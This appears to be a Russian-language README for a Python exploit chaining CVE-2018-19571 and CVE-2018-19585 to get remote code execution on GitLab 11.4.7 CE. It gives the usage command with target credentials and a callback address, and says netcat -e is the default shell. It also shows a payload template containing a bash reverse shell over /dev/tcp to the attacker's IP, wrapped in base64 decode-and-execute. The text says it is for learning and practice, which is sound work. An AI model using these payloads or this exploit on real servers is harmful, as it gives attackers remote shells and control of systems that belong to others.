
Эксплойт RCE для GitLab 11.4.7 с различными обратными оболочками. CVE-2018-19571 + CVE-2018-19585
Эксплойт для RCE в GitLab 11.4.7 CE с различными reverse shell.
CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571
CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585
Модификация версии от Sam Redmond и Tam Lai Yin для обучения и практики.
Написан на python3, как и всё должно быть.
Зависимости:
pip3 install requests
Использование:
python3 rce_script.py -u <username> -p <password> -g <url:port> -l <local ip> -P <local port> [<shell lang>]
По умолчанию используется netcat с опцией -e.
Текущие встроенные оболочки:
Некоторые оболочки содержат символы, которые не сочетаются с кодировкой запроса. Поэтому они кодируются в Base64, а затем декодируются и выполняются на целевой машине.
Если вы хотите добавить свою оболочку, добавьте значение в структуру payloads_dict.
Необходимо определить следующее:
'bash': {
# Если raw_payload можно выполнить без кодировки
'safe': False,
# Payload, должен содержать ссылки на local_ip и local_port
'raw_payload': 'bash -i >& /dev/tcp/{local_ip}/{local_port} 0>&1',
# Как выполнить payload, если safe равно False. Должен содержать ссылку на payload
'exec_string': 'echo {payload} | base64 -d | /bin/bash'
}
Парсинг HTML довольно жёстко запрограммирован, поэтому может легко сломаться.